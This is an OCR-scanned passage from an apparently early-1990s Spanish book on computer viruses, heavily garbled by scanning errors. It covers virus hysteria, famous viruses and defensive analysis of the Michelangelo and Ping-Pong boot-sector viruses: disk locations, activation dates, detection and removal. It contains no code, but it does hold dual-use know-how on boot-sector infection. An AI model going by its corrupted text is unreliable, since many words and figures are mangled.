permiso del usuario provocélndo pérd1dn de mformación, ha 
creado una histeriél infnrm<ltica v se ha cubierto Clll1 un velo 
de misteno, mJstific<~ndo el uso ¡ie las comput<Jdnras. 

Si l.•l nombre <1phc.1dn n estos progr<J.mas hubier,l sido cual­
quier otro, wl vez no se hubicr11 producido este fenómeno, 
pero con el nombre de vi m::> SL' han creado una sen eJe tabües 
y rumores que hacen t]UC algunos prngr<~mJdorcs o usuJrios 
de computador<~ S desarrollen su trabajo tem1endo a cada mo­
mento ser atacados por algún monstruo maligno. 
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Figura 4.4 
Los virus 
Informáticos han 
cauSado histeria 
en algunos 
usuarios que 
desconocen su 
origen y 
funcionamiento. 
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Otras persont~s con menos conocimientos de infonn5tica 
creen que los virus de las computador,¡~ son tdgo paree• do a 
los \'irus biológiCos, con e<lpacidud pMa s<~lirse de los siste­
mas, e incluso contag~tulos físicílmcnle E.\agt~r.ld.lllll'llic, los 
h<Hlllcgado a consh_icr.u como un castigo dll'illtl cnvi.Hln ¡¡los 
programadores o usuarios como un escarmiento por utiliz.-.r 
unJ tecnologí.l que ellos no .1Jc.mzan a comprender_ En <llgu­
nos Cilsos, y debido il los nombres con que se {1,111fr:n11 los \'i­
rus -SA1AN, Bai/1.' co11 '-" dinblo, Oark A¡•t'llga, etc.-, se h~111 
considerado como obra sat<lnicn. 

Lo anterior, .1unado a los rumores alarm11ntes que se pro­
p<1gan en cuanto a la existencia de los \'ifUS, de su origen y 
sus reilcciones, hace que los nuevos usu<1rius s1e1H.ln un tL'­
mor infund.H.io hacial.1s computador11s Hay incluso quiL'IlL'S 
justifican íllltl' sus superiores ~u mefiC!encia. achacando a 
ataques vir,¡Jes los trabajos que lilrd;m demasiado tH'111pl1 en 
entregar, o que aunque presentan s111 Jemo1.1, no son bien 
aceptados, pues contienen mudws ~..·rrores o ddL'Cios. 

Como ejemplo de est<1 h1~leria cit;~mu~ l.1s .lCll\'id.ldl'~ te­
rroristas que ya re.11iZ<111 ¡¡Jgunu:> grupos en ,·,nius paÍSl.'S l!n 
Estados Unidos un grupo kcnoterrorist.l se hace Jl,unar La 
pla:_.:a, y en sus mens<qes incluye slogan:. (lem.ls) (onw QuiSie­
ra ver llliÍS I'lrJ6 JlOr allí y .lmenaz.ln infectar sistem.1~ de todo 
el mundo, mduyendo Chma y ];¡s l~epliblic.Js Soviétic.1s, en 
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donde y.1 t.''\iste un virus llam<1do Ltisn/1/flS q11c cne11, que 
como el r·zr:1::> cnscndn de Est.:1dos Unidos, hace que l<1s letras 
que se c::.t.ln viendo en la pant.11la c<1igan como una llu\'la y 
se .1rnontonL•n en la parte inferior de ésta. 

· Otros ,·irus prcsentun en la p.:mti1lla lluvias multicolores o 
dibujos e::¡."'cctaculdfes y tocan alguna pieza musical, míen· 
tr<ls sus ;1rd1ivos son borrJdos JI mismo ritmo. Asimismo 
existe olrl) de estos virus que se conoce como l<1 !duclwclw ho­
hmdt•sn (J-h,Ji.lnd Girl) o Sylvia, que cuando se manifiesta en 
la comput,¡dnr<l d.:!" el nombre y la dirl.'Cción de un.:1 much<l­
cha en 1-lol.md¡¡ y un breve mensaje en el cu<~.l se solicJta que 
se le ell\'ÍI..' un.1 postal. 

Tamb1én :'e cuent<1 de un Z11111:.sns/n)llónuco, L'l cual conta­
gió l<1s comput,ldoras DECsystem 1 O. La característica de este 
pequeño pL·rsnnil¡e era que permnnecía latente por IH~mpo 
indcfimdo l'll el sistema y cuando se act1vaba prescntab.J en 
la pantall.l el mensa¡e 1 IVANT A COOKIE' I¡Qll/E/~0 UNA 
GALLETIT·\! L La ünica maner.1 de Iwrm<~liz.Jr el funciona­
miento l~ra il'cle;¡ndo la pJiilbra COOKIE, con Jo que se logra­
ba desacti\ arlo Jurante algún tiempo. La \'CISión Cookic 
2232, incluSll al recibir 1.:1 pJlabra COOKIE, dcsplieg.1 en l.:t 
pantalla el mensaje HURPS ... 

Un virus más peligroso es el que .:1ctl1a de t.:1l manera que 
cuando detecta cantidades de cuatro Cifras, las re.1conwda, 
alterando el orden, lo que hace que cuando un opera no tra­
baja con números -est¡¡dos de cuenta, cobranzas, ele.-, utilice 
cantidades l.tlsc¡¡das 

Finalmente, se conoce de fraudes a empresas y b,1ncos uti­
lizando un program.:1 que, aunque no se reproduce, sí realiza 
operaciones por Sil c/unfn. A este tipo de programas se les de­
nomina Sala111i, y trab<~jan enviando a una cuenta -del pro­
gramador-, los centavos producto de redondeos en las 
cantidades de bs cuentas de los clientes. El cliente, o no se 
per~ata del error, o no le importa, ya que son sólo centavos; 
pero al bendici,uio de estos redondeos le significa un gnm 
negocio. Afortunadamente y;1 se hJn tomado medidils en con­
tra de estos prosrnnwdorcs y se hil procesado ,1 algunos en Es­
tados Unidos. 

El colmo dL'i terrorismo v¡ral hil sidolllll' hasta los mismos 
progr<~míls \',lCunas, que se supone dl•berían ser los m<Ís con­
fiables, h.m ~ido modificados por los cibcrp1111ks -como se les 
ha llamado tílmbién a los programadores de los virus-. De 
esf.J m.li1L'r,l el magnífico programil FI11Sflot, que se difundió 
por medin de los Hullt'liu Hoard St'IV/Cc:. (HHS's) en el sistl'ma 
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de software compartido (5/zareware), infectó los sistemas de cien. 
tos de usuarios que veían en él un programa de ba¡o costo y con 
muy buenas perspectivas en la lucha contra los virus. 

Todo esto ha llevado a personas como Ross M. Greenberg, 
creador del mencionado programa FluShol y víctima también 
de esas infecciones virales en sus programas, a ofrecer una 
recompensa a quien proporcione informes y denuncie a los 
ciberp11nks de La Plaga. 

i _l 

5 

NATAS y otros virus 
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S 1 usted desea <~dquirir inform<~ción técmc.1 ilc'erc.l de los 
virus mtls conocidos en ~léxico, EsltHios Unidos y .1lgu­

nos pJíses de Latino.Jrnéric<~, en este c<~pítulo la encontr<1rá. 
Se presentJn cuatro casos de \'Írus infonn,lticos infec/orcs del 
á un de carsn (Boot sector), un iHfcctor de progmwa::; cjccutnfJ/cs 
CCOM y .EXE), y uno polmiOt:fÍl IIIIIIIIJ}{U/1/n, es dcor, que m­
fect<~ la tn/lla de particiones (¡\l.lster 13oot Record, MBR) de los 
discos duros, el5t'C/or de 11nilllt]llt' de los disquetes y ílrchi\'oS 
ejecutables y de sistemJ. 

Aunque se incluyen 11quí <~lg,unos pn)snmws dcscn5rl!II/Jin­
dos, con exphc<~ciones, se h.J tenido cuidado de seleccionar 
<~quellns virus que trab<~jtm de m.Hlera general y sin demJsi.1-
dns sofisticaciones, pnrtl document;1r sus prin..:ipt~les funCio­
nes, a fm de que pueda ush..•d tomtlr l.1s mcdidc~s adecu.ltÜS 
para la protecCión de sus comput<~doras. 

En lil ;ulterior ediCión se bloque<~ ron los mí meros de l.1s lll· 
lcrrupcivm·s de l;1s cuales hacía uso cl pwgram<l, ;1 s.:1bJcndas 
que depíbamos import.:mtes da tus como [l·lra que alguien con 
conocimientos pudiera hacer moddict~ciones y f.lbric.1r sus 
propios virus, pero esta 1nformanón ya se encuentr.1 .11 ,Jlcan­
cc de todos en las mismas rcse1las dt_• los \'lrtlS, que n.'aliz.1n 
los propios programas t~nllvirus. r\dem.ls, t1 lo l<Hgo de todos 
los capítulos se enfat1z.m lns postulados del autor, la eJ¡to­
rial, y de est.1 obra en particular: 

,. Se debe conscientizar a los usuanos de computadoras pt~ra 
que no utilicen copi<~s no autoriz¡¡das de programas. Siem­
pre pague por vers10nes onginales; si l.1s obtuvo por me­
dio del sisten1.1 Slwrewnre a través de un UBS, regístrese y 
envíe al autor el importe correspondiente, que generalmente 
será muy bajo. 

> Rec<1be lil mayor cantidild de información técnica y utilícc­
la con fines prácticos, lJtiles il usted, a la comunidad infor­
mática y a la sociedad en general. 

,_ Cu.1lquier cos<~ que se hagíl, debe lwcersc b~t'll, desinteresa­
damente, y con honor; es deor, con élicn pwft'sivllal. 

Posición del aulor 

Como miembro htHwr.lrio del Club de Vi11ífosos de lllicroco/11-
putadoras de GuadalnJnra, A. C., he aceptildo cumplir c.lbal­
men!e el código de étictl que él mismo impone a sus socios, 
por lo tanto, seguiré escribiendo, estudiando, investigando y 
editilndo libros, utiliz<1ndo las computador<ts, p;ua h<tcer lle-
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Figura 5.1 
Programo 
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g<H a usted e:; un tr.Jb.ljo digno, .1 fin de logrt~r l<ts nwtJs que 
me he traz.1do. 

Cu<Jndo comen~.:abil il estudi<H los \'lrus iniornüiicos, Cir­
culaba poca inform<Jción .lct.•rc.l dl' l'llos Unic.1mente se cn­
conlr.Jba .1lgun<1 mención en artículos de rt..'\'Í~Iils y muy 
pocas en meLhos especi.:~llzados L'll infnrm.ític.J, c-...cepto en 
los l3l3S's, o en los archi\'OS de las rl.'dl's intern<~cwnales como 
111/ancl o Co111¡111scrv1', donde Jos uSu.Jnos de cornputt~dor.ls 
compt~rten sus experiencias di<~rias. En ese tiL•mpo, ya se veía 
con malos o¡os a las revistas o personas, que mcluso ofrecíiln 
klts de códigos de virus p.:1ra que los lcctmes l.lbncar.lnlu!> su­
yos propios. 

Ahora, en Estados Umdos y en algunns países europeos 
como Uulgaria, por ejemplo, existen clubes de usu<HJOS de 
computadoras que se dedican a diseii.<lr VIrus, y re.1lizan 
compeh.·nnas pa rJ \'L'r quién es el meJor. También existen em­
presas de mform.ltic,l que ofrecen libros, d1squetes y h,1sta 
CD-RO~l's, que uh:luyen cód1gos \'1rales, e lllcluso una "má­
quina de \'iru!>" ~""~.lr.l cre.u sus propios virus, incluyendo las 
c.lJacterístic.J.s que uno deSL'e 
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¿Por qué se pL'l'mik' esn, si ya !>L' :'.lbt_• de los dJii.os que c,lu­
san los \'Jrus? L1 kgisl.1ciún L'llL'SO!> p.lÍSL'S nn cnntem~)I;J s.m-
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ciones para l.1s personas que realizan esas actividades, sin 
embargo, se ha proces<1do <1 progrum.1dorcs y lwckas que h<1n 
incursionado en redes de empresas y de gobierno, a las cua­
les no tienen acceso. 

Aunque en los medios informáticos, a tr;l\'és de servicios 
informal! vos y redes se critica severamente a esas personas, 
su defensa se basa en que la tecnología no se puede detener, 
ya que acusarlos sería como .1cusar a Ei11stein por sus investi­
gaciones sobre b t'lll'rgía llllcfcar 

El autor también est.í consciente del mal uso que se le pue­
de tbr a la informJción, pero ¿de qué otra manl!ra se puede 
poner al alcance de los lectores la tecnologí<J? ¿los maestros 
de programaciÓn son culpables rle enseii.ar a sus ¡Jiunull>S 
lenguajes como ens<~mbl<~dor o C, que pueden utilizar par.l 
hacer virus o incluso fr.wdes lllfonnálicos? Lo import¡¡nte es 
educar en el más <lnlplio sentido; esto es, inculcar a los jó\'C­
nes una mvw/ mcio11nl, Slll f.1n.11ismos; es decir, de sat11cio y 
respt'lo a S JIS St'IIICjaJJIL'S. 

5. 1 Virus infectores del sector de arranque 
Jl¡¡ra lJUe se entiend<J cbramcnte cómo es que los virus infec­
tan los discos en sus <lrcas más vulnerables, se muestran cua­
tro casos p.lrliculares de infecci6n L'n el sector de cllrga (Boot 
sector) Je los disquetes y de la la/Jitl de pnr/¡civncs (tvt<lster 
Buot 1\ecord, MBR) de los discos duros. 

Al <Jnaliz.H el disco mfect¡¡do con un programa de utilerí<~s 
que permite visualizar dmapa y lns st•ctvres, se incluye una 
breve descripción de sus prinCipales áreas de sisle/1¡¡7, de a/mn­
Ct?IWIIIÚ!Illo dt? la illj(JIIIWCIÓII y de cvlltrvl de los nrdlivos. Se han 
capt11rndo las pantal1.1s correspomhentes parJ mostrar ]Js di­
ferenci<ls entre un d1sco sn11o y uno utjectado. 

5.1.1 Virus Miguel Angel (Michelangelo) 

Este virus dt_•scubiertn en .1bril de 1991, es del tipo 111jcctorcs 
del sector de onxa, por lo t.1nto, infecta el St't·tor dt• Ctnga de los 
disyuei('S y la laNa dt• prii'IIC/tlllt's de l11s discos dun)s. Se cree 
que su ungen es hol.mdé::. o sueco, Y·l que es en e~os países 
europeos donde se obtiL•nen los pr11neJ'o'> reportes de él. 
Como la mayurí.1 de los virus, ~1ichdJngelo se pnsinon<l en 
la memnrin de l.1s comput.1doras cu¡¡nJo se "c.uga" el sistc­
mil operJtivo desde un disquete o un d1sco duro iníectudos. 
A partir de ese momento, mfecta cualqUier d1squete de 5 lJ4 

! 
1 

l, 
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pulg.-.das gue se 111troduzca en 1.1 un¡Jad, si no cst.i protq;ido 
contr.l L'Scritur<l. 

Nota: Cualquier wus infectar del sector de carga se 1nstala en la 

\ 

\ 

me mona de la computadora, mcluso cuando sólo se hace un 
intento de carga; es decir, aunque el d1squete no sea de SIStema, 
cuando se mete a la unidad A: y se pulsan las teclas 
0+!.:@+[][). 
Un error frecuente que produce un w1ntento de carga~. se da 
cuando usted olv1da un disquete en la un1dad y apaga la 
computadora; al día sigUienle, al encenderla, hace un miento de 
carga desde ahí, pero al deteclar ra compu!adora que no se 
encuentran los archiVOS de SIStema, presenta el mensa¡e de error 
y p1de un disco de sislema. S1 el disquete eslaba 1nleclado con el 
wus, éste queda 1nstalado en !a me mona de l<l computadora. 

El ,·irus se inslílla L'll J.:¡ /'111ft' 11/lo de la memoriil de b com­
putadnr.1 pe1o ~iempre ah,l¡n de los ll-!tl kB conn·ncion<:~k!:>, 
ocu¡xmdo 2 0-lK bytes Ge1wr.1 una prütección med1<1nk' la ill­
farupocÍ/1 1211 del BIOS, n.~gn~snndo un \',l!or pnr.1la c¡¡ntid<Hi 
de ml'll1tli'ia disponible, que L'S 1bll<11 <1 !.1 menwna renllnsta­
lild¡¡ menos !.1 c.mtid,1d resen·.1d.1 para él mismo. De est<1 ma­
nera evita que pueda ser ehminildo por otros programns que 
se pudieran cugar en lo mism.1 !ocolid<:~d de memorio. 

Cunndo inkctaun lhsqul'le de 360 kl3 de 5 11-1", posiciono el 
sector de cnrg.1 original (Uoot ~ector} en el '>ec!or 11; si el dts­
quete es de 1 2 i\.IB de 51;_¡", lo híKl' en d sector 28 -que es el 
ültimo del área de rlirctforio rníz (l~oot directory)-- Ubicando 
el programn de c<~rg.1 en c.ste sector se protege, pues ninguna 
inform<~ciún de diltos se sobreescribirá en c>l área de directo­
rios. En cam:,io, cuondo lil mfecCJón es en un disco duro la 
tabla de J111rflciOIICS e Mnstcr Boot Ua<lrd (MBJO se desplaza .1 b 
direcnón fís1ct1: Cilindro O, Lado O, Sector 7, y el virus se .1loja 
en ellug<~r del ~-1 BR. M ichclallgclo c.1be en un sector, ya que su 
longitud es de sólo 429 bytes (los sectores contienen un total 
dc512). 

El virus MJChelangclo se aciÍ\'.1 cu.1lquie1 6 de ~l<lrzo, pues 
se cree gue fue hecho p<Hil "celcbr<~r" ese dííll'l n<lcinllento de 
/ltfiguel A11scl Buo11anotr, l'Stultor, <~rquitecto y pintor itall.lllo 
del Rc11ncimielllo En esa fcchil, si su computadorn l'St,l infec­
tilda con el virus, al ",uraJKilr" el SISil.'lllil con el disqul'lc o 
di~co duro "enfermo" lo primero que hilce éste es \'C'rificar lil 
fecha del reloj del sistema. s, ésta t:oincidc, en Jug.u de infec­
tar disquetes o el disco duro, subreescnbc el d1sco desde el 

Figura 5.2 
Panto!lo de 
Norton Editor 
versión 7.0 
mostrando la 
tabla de 
portictones 
"sana" de un 
disco duro. 
Observe que 
comienzo con 
FA 

Figura 5.3 
El sector que 
ocupa la tabla 
de particiones se 
muestro de esta 
manero cuando 
ha sido 
infectado con el 
virus 
Mlchetangeto. 
Note que 
desapareció el 
FA Inicial. 
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cual se I'L'illizó la carg.l, deslruyendn l<1 infonn,lCil'm conteni­
da en 121. 

Las comput;-¡dor<~s tipo XT se s,1IV<1Jl de la terrible .Kclllll 

del vin1:-. de t\.ligud Angel ,¡[encenderse ptHquc cu.mdo se 
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carga el virus tod<lVÍa no está asignada la fecha cr~ la m~mo­
ria. En las AT -con procesadores 286 en aJelantc-mmcdlatil­
mente después de l<1 "carga" un 6 de marzo, sobreescnbe en 
el <lrea de carga, en la tabla de asignanón Je Jrchivos y en el 
directorio raíz, una serie de ceros si el sistema operativo es 
PC-DOS o F6 si el sistema es MS-005, con lo que el disco 
queda 1m posibilitado para hacer la recuperanón de los datos 
borr<1dos. 

Investigaciones del C/11b de V1rólogos de Microc~mp11~ndorns 
de Guadnlajnra en México, determint~ron que el Virus mfccta 
redes que utilizan sistema operativo MS_ DOS, por·supuest_o, 
pero también se infectó una red que corna con Novel! y UniX. 
Lo anterior se debe a que el virus ocupa un solo sector en el 
disco, por lo tanto al hacer la inf_e~oón no necesita de J?'?S 
para poder ubicarse en el sector f1sJCo de la tnbla de partiCIO­
nes. El requisito quizás sea que el sistema cuente con un pro­
cesador lntcl o compatible de la familia de los 8086. 

Miguel Angel se puede detectar y eliminar c.on \'arios an\1-
virus: SCAN y CLEAN de I\'lcAfee, en sus vers10nes 80 o pos­
teriores; CPAV (Central Point Antivirus); PC-GUARDIAN, 
PC-cillin, tv1SAV (Microsoft Antivirus), que se incluye con el 
MS-DOS desde !J. versión 6.0, y otros. La detección y elimi­
nación de este virus debe hacerse cuando el reloj del siste­
ma no tenga la fecha 6 de marzo~ de lo c?_ntrario.' al 
encender la computadora se borra la mformacJOn del d1sco 
duro. 

En febrero de 1992, en México se dio gran difusión en los 
medios informativos acerca de l.1s atrocidades que podría lle­
var a cabo ese virus en millones de computadoras en todo el 
mundo. Efectivamente, si todas esas comput<~Joras se hubie­
ran "cmgado" desde discos infectados ese día, la pérdida de 
información hubiera sido desastrosa e irreparable, pero es 
casi imposible que tod<Js las computadoras ~cngan el mismo 
tipo de virus porque a la fecha se conocen mas de 3 000 y caJa 
uno de ellos tiene diferentes formas y fechas programadas de 
activación. 

Lo anterior no quiere decir que debamos apagar la compu­
tadora si es la fecha de Jctivación del virus, ya que como se 
mencionó, existen infinidad de virus que "explot<ln" en dife­
rentes fcch<Js, hor<~s, y ante JcterminJdas condiciones de la 
computadora; lo que se debe hacer es lomar medidas d~ prec~l~­
ción y prevet1áón, y contar con uno o v.~rios progra111as a/11/lll­

rus. Estos temas se tratan exhaustivamente en los capítulos 8 
y 9 de este libro. 

Figura 5.4 
Mensaje de 
Infección que 
p1esenta MSAV 
al detector el 
virus 
Mlchelangelo. 
Como respuesta. 
usted puede 
Detener. 
Continuar o 
Iniciar; es decir. 
reinicializar la 
computadora. 
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1 

Uirus loc.~liudo 

Disco lnfccl4do p;¡r el ulrus "ldcl4ngelo. 

IFmlr qn"'b 

M1crosoft 
•H AntHJirus 

En particular, para este Virus, se recomienda que un día an­
tes de cualquier 6 de marzo cambie la fecha de su computa­
dor<~ con el comando DATE del DOS. Si su computadora no 
tiene b.1tcríc1 y reloj permanente, es una buen01 1dc<J no intro­
ducir la fecha de ese día. Si el virus se encuentra instnlado en 
la memoria de In computndora y no es 6 de marzo, se debe 
apagar ésta para "matar" .11 virus. Después se puede "car­
gar" el sistema operativo desde un disquete "limpio" y pro­
ceder a la revisión del disco duro o disquetes infectados. 

La mejor manera de protegerse de éste y de otros virus que 
formatean el disco o sobreescriben la FATo el directorio, es 
crear un disco de rc::;cale con Norton Utditics, o un t'lllt'rgt'IICY 

d1sk utilizando PC Tools, versión 8.0 en adelante; .1sí, si SL' su­
fre un desastre en el disco duro, siempre se podrá restt~urilf a 
como estaba antes de la infección, ya que la ulformt~ción cst<l 
ahí, pero sin la FAT y el directorio no se puede Jccesar. 

5. 1.2 El virus de Turín 

El virus de Turf11 o virus1le In pelottlll es un segmento de código 
que, a diferencia de la mJyoría de los virus, no modif1c.1 los 
archivos ejecut,,bles 1~i produce ningún daii.o a Jos discos, ex­
cepto infect<~rlos. Este \'lfliS graba parte del mcnc1nnadn có· 
digo en el án·a dt' carxa i11icwl (Boot .uea) y, parJ no afectarl.1, 
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traslada el progr<Jma de c<~rg.1 inicJal al primer St'clor libre que 
encuentra y lo marca como defectuoso en In tabla de nsig/111-
ción de ardlli'OS (File A:iocZ~tmn Tablc, FAT), p.1ra que este sec­
tor no pueda ser acces.1do por el sistema opertlti\'O y no se 
puedan h.1ccr moddicacJones en él. Tamb1én es conocido 
como \faacm::, Bt)IIJ1állg Ba/1 o del P111s 11oJJ:-; 

Fue repnrto1do por vez primer¡¡ en marzo de 1988, y en su 
versión origin<1\ sólo infectabil d1squetes. Funcillna en forma 
alc<Jtori<l, es decir, que no siempre se <~ctiva cu.1ndo cstcí tra­
bajando !.1 computadora, pero en algun,1s oc.1sioncs, cuando 
se producen tls condiciones apropiadas, produce unJ moles­
ta pclotit<1 que rebota a lo largo de la pant¡¡Jia. 

Algunos usuJrios que padecieron ec;te dest~gradable VIrus 
en sus SIStemas, se aLostumbraron a VIvir con él, v cuando 
apareCÍ<~ b pelotil<~, !t~ lmiCtl soluciún gue aplic.1bañ ert~, apa­
gar la computadora y espcnH que en la prlnima sesión de 
tr<1b.1ju no se prcsent<~ra 

Nota: Algunas partes de este e¡emplo se basan en las .nvestigaciones 
realizadas por los mgenieros del Centro de Cálculo de la Facultad 
de lngemería (CECAFI) de la Universidad Nac1onal Autónoma de 
México (UNAM) El autor exPresa un especial agradecim1ento a 
los Ingenieros José A Gallardo Hernández y Héctor M. Badillo 
AoJaS, por los claros conoc1m1entos vertidos en el curso Virus 
Informáticos impartido en la D1vis1ón de Educación Contmua, en el 
Palacio de Minería de esa facultad de ingeniería. 

\ Como la sección del área dt• cnrgn wicinl (Boot .ue<1), conoci­
da como bloque de partímt!lros del 8105 (BIOS Para meter Block, 
BPB) aloja los datos reliltivos ill tipo de formt~to que tiene el 
disco, la versión del sistema operativo y las copias de lt~ tabla 
de asignación de archivos (File Allocation Table, FAT), parte 
del virus se coloca después de los pnmeros 32 desplaz<~mien­
tos, mientras que el resto de su código se <1ncxa al cluster­
grupo de sectores contiguos- donde se copió el programa de 
carga imcial. 

Esto ~s precisamente lo que nos ayuda a detectar este tipo 
de virus, puL'S nos pcnmte inti.lg.H SI el d11stcr 2 <~parL'CC rn.ll'­
cado como Jail.ado -;HJnque físiCaml'nle no lo esté-. De ser 
así, ya lo tenemos locillizado. T<~mbién podemos buscar el 
program<~ de carga inici<~l en el sector 13, con lo cual se con­
firman nuestras sospechas. Ocup.1 en el disco 1 02-1 bytes, o 
sea dos sectores complelos. 

Figuro 5.5 
Sect01 O de un 
disquete de 
5 1/4"no 

Infectado. 
donde se 
muestra el 
bloque de 
parómetros del 
8105. BPB. 
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LJ bll~qul'd.l del prugr.un,l dL' ...:.ug.1 lllllJ,ll ~L' l.Kíllta pnr 
!.1s cMien.1s tk ...:.11 .llll"r<.'~ ~k In~ lllL'IlS,11l'~ de t!rror lJliL' (tHliJL'­

ne. PtH L'JL'Il111ltl, L'n l.1 \'L'J~it.,n J.J Lkl ~~~lt.·m.ltlflL'l,ltt\'tl \lS­
DOS, eltnethdjl' Lk L'l rtlJ dtle: 

Non-System d1sk or d1sk error Reptace and stnke 

O ],16 2 L'll L'~J1,llllli, ljlle .\Jt(JO~llft lL'bl~\r,l L'i\ 1.1 p.HIL' :'U~1L'W)f 
como 1\ISDUSS.Il, y ...:u yo lllL'Ib.lJL' de crnn dlCt.': 

Error, de d1sco de SIStema Reemplace y presione 

Con cualquier pl'oor.llllil de utllidades que tenga la carac­
terística de l!lísqut•da de cadcuas di! caractcn·scll (ÓdiSO t\SCJJ, ::>e 
puede inda¡..;ilr en qué ~eclor se encut>ntra 1i1l programa de 
cargJ. inicial, y si no est.lalnpdu en L'lárea dcc111S11 i111cw/ (Hoot 
St.•ctor), puede suptlllL'r:->e que un \'JfliS In ha despl.l!..lllo de q¡ 

sector ongJn,ll y h.1 \om,Jdo su lug.lr, mt~rc.lndolo O..:tllHO d.ltl.l­
do o nn. 

Contrílriilmente J lo que se p1ensa acercíl del Pil u;:; de 'Ji1rÍ11, 
110 resulta f,lcd infectar un<1 computi1dora con él cu.mdo no se 
encuentra activo en la nwmorid RAM. Los virus infectores 
del áre.l de carga iniLI.lLsol.lmeJHe se illoj.m en 1.1 mcm<1ria 
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Figura 5.6 
Area de carga 
no Infectado de 
un disquete de 
5 1;4 ·,mostrando 
el mensaje de 
error del DOS. 

Figura 5.7 
Observe en el 
·mapo",cómo 
un disco 
Infectado con el 
virus de Turin 
tiene el 
programo de 
carga en el 
cluster 2. y estó 
marcado como 
"dal'lado". 

RA~·I cu.~ndo_se cargil o se mienta cngar L'lsisiL'ma opcr<~li\·o 
con un dJSCll mfectJdo 

' 
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No olv1de que los virus informáticos son sólo programas, y 
el de TurÍll se cJrg<~ en la memona cu;mdo la computadora lec 
el código del virus que se encuentra en el sector O (cero). De 
.ninguna otra m<~nera puede tomar el control de la memoria. 
Si dese<! "matt~r" ttl virus, sul.::~meQte ap.iguela. 

Formo de contagio 

Si inicializa la computadorJ desde un clisqucte o desde el dis­
co duro infectado, el virus ser<i duei1o de tod<Js las operacio­
nes de lectura, gr<~bación o copi.:1do que usted intente hacer, 
y todos los d1scos que introduzclt en !<1 computador<:~ serán 
cont<~giados inmcdwtamente con cu.Jlqt~~er acceso que se 
hólg<J, incluso cuando pida u~ted visualizar el directorio de 
un disco duro o de un disquete. 

Al encenderse l.:1 comput<~dor<J e introduCir un disco de sis­
tema operJ.tivo que esté contamin<Jdo, lo pnmero que se 
"carg<1" en la memoria de la computadora son las instruccio­
nes del segmento de código del VIrus. Unlt vez en la memo­
ria, el Virus le indica al sistcmll realizar un ~;aflv (jump) para 
rcdircccllHHlr la orden de lectura del program<J de carga lllle 
se encuentra alojado en algún otro sector -en nuestro caso 
fue el cluster 2, sectores 12 y 13, pues es el primero que encon­
tró libre ni infect<Jr el disquete-. 

Aunque el virus pareciera estar trabajando paralelamen­
te n los procesos que se est<in llevando a cabo, la realidad es 
que funciona bltjo In modalidad de Ro/Jv de ciclo al micropro­
cesador. 

Si se introduce un disquete a la computadora, quedará in­
fectado inmediatamente a menos que haya sido protegido 
contra grabación. El espano que ocltpa el virus de Turín es de 
apenas 1 kB ene! disco, y 2 kB cuando se célrga en la memoria. 
La segund<J parte del código del virus es la que activa In pe­
lotita que rebota en la p<~nt<llla del monitor, de acuerdo con 
una señal de tiempo específica. 

En el mnpn del disco infectado por el VIrus de Turín (Figu­
ra 5.7) puede verse el cl11sfer -grupo de sectores contiguos­
que ha sido marcado como dmindo, pero no indica ningún 
cambio en el rírca de cntsamicial (!Joot Mea). Sin embargo, si 
usted observa detcnid<1mcnte el sector O del área de carga ini­
cial notar<i que los mens¡Jjes que generalmente se encuentran 
en la segunda parte de ésta h<1n desaparecido. Si continüa 
con el r<~streo hasta el sector 12, locnlizar<i !J. parte comple­
mentaria del virus y, hnalmcnte, al lleg<H al sector 13, ¡sqr­
presa!, aparecen los mensajes perdidos. 
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Figura 5.8 
En el sector 13 se 
encuentro el 
programa de 
carga. que fue 
desplazado por 
el virus de Turín. 
el cual ocupa su 
lugar en el 
sector O. 

Con L'Sill qued.1 dc.?nwstr.ldo quc el virus e~Lí tJcupomdo el 
SCCftll' de Cllrgu lllit"laf _y híl L'll\'t,ldO Sll parte (Ompkmt:ntariíl )' 
el pro;-:niJJ/tl dt' OII,Xt/11110111 (Boot prngr.:lln) ,1 los SL'Ciorcs 12 v 
13 del cluster 2. · 

Si usted bu~c.1 el dcspln:::III/1/CIIItl (dJspbcelllL'Ili) 21 dl'l sec­
tor O del <ire.1 de cílfgíl imcial infcct.Jd;-s, y lo com¡l,lf,l con.._.¡ 
primer despl.lL;"Imiento dL' b tablt~ de asign<lctún de ,uchJ\'OS 
(File ¡\Jiocation Table, FAT), advertir.-1 que d número hcx.1de· 
cim<1l que .1~1arecc <1hí sigul' ~iendo FD, lo que en este e<~ so no 
denota ningún Cíl!llbiL), pero 11lgunos VIrus como el dl' f>Orjlll~­
llill escriben su código y mellS<ljL's ~obrl' el bloque de p<~r<Íme­
tros del BIOS, en cuyo c,lSt) no cnmcide el despl.tZ.lmiento 21 
del Boot con t..•l primero dl.' b FAT. 

Conociendo los illliiCildtHL'S del sector de COlrg<~ y de la FA!' 
que no deben V<Hi<H, podemos f{ldlmcntc dl'tL"rlllllltlr si L'S.lS 

IÍ1:rn!> críticas del d1sco pueden h.1ber sido inj~·cl!ldas ptlr :dgún 
V/1'1/S. Por ejemplo, <1lgunos antivirus L'n su bLísqued,l inclu· 
yen los vil lores 55 At\ JI futíll del sector O (Figur<t 5_6), y.1 que 
estos dos JHímeros he\.OldccimJies son con los que tcrmm;-~ 
S!Cntpre el progr.un.t origm;-~1 de Gtrga, si no están o h;~n s1do 
sobreescritos, algo anda mal. 

Para rcalizílr L!Sias búsqucdus de c,ldeníls-dc cZ~rZ~cteres, se 
cuc!ll<l con p~ngramOlS de utilidades como PC Tools, que desde 
sus primeras versiones ofrece la funciún Búsqueda (find), 

Figura 5.9 
sector O 
Infectado; 
observe cómo el 
desplazamiento 
21 (FD). coincide 
con el pnmero 
de ta FAT en la 
figura 5.10. 

Figura 5.10 
El pr::ner 
desplazamiento 
de la FAT (FD) 
debe coincidir 
con el21 del 
boot de ta figura 
5.9. FD es el 
número 
hexadecimal 
que ldentitlca el 
medio. en este 
caso un disquete 
de 360 k B. 
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Busc;u Texto (T~xl Search, TS) d~ Nnrlon UtdiliL'~, o IJús­
queda (FimO L'nel menl1 llerramicntas (Tnols) dl'l Editor de! 
Discos (Disk Editor) dL' ];:¡s Utilid.1des ¡'\Jtll ttlll \'L'rSIÚil 7_(\. 
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En este caso de estudio se pudo observar que el virus mfcc­
ta al Lilsco duro, pues cuando se cargó el virus en la memoria 
de la computadora y se le pidió J éstJ que mostrara el direc­
torio de J¡¡ unidad C, éste quedó contaminado. Se buscó el 
disco duro cont<~minado y Jpa reció el progra111n de carga illictal 
en el sector 252 -el d1sco fiJO de prueb<l era de 20Mb de capa­
cidad-. Se curó la computadora utilizando un programa anti­
virus y se rcinfcctó, en esta ocasión envió el programu de 
carga al sector 256 -los sectores anteriores y<~ cuntení;m infor­
mación-. 

E!z>irus de Turíll utiliza instrucciones que son propias de 
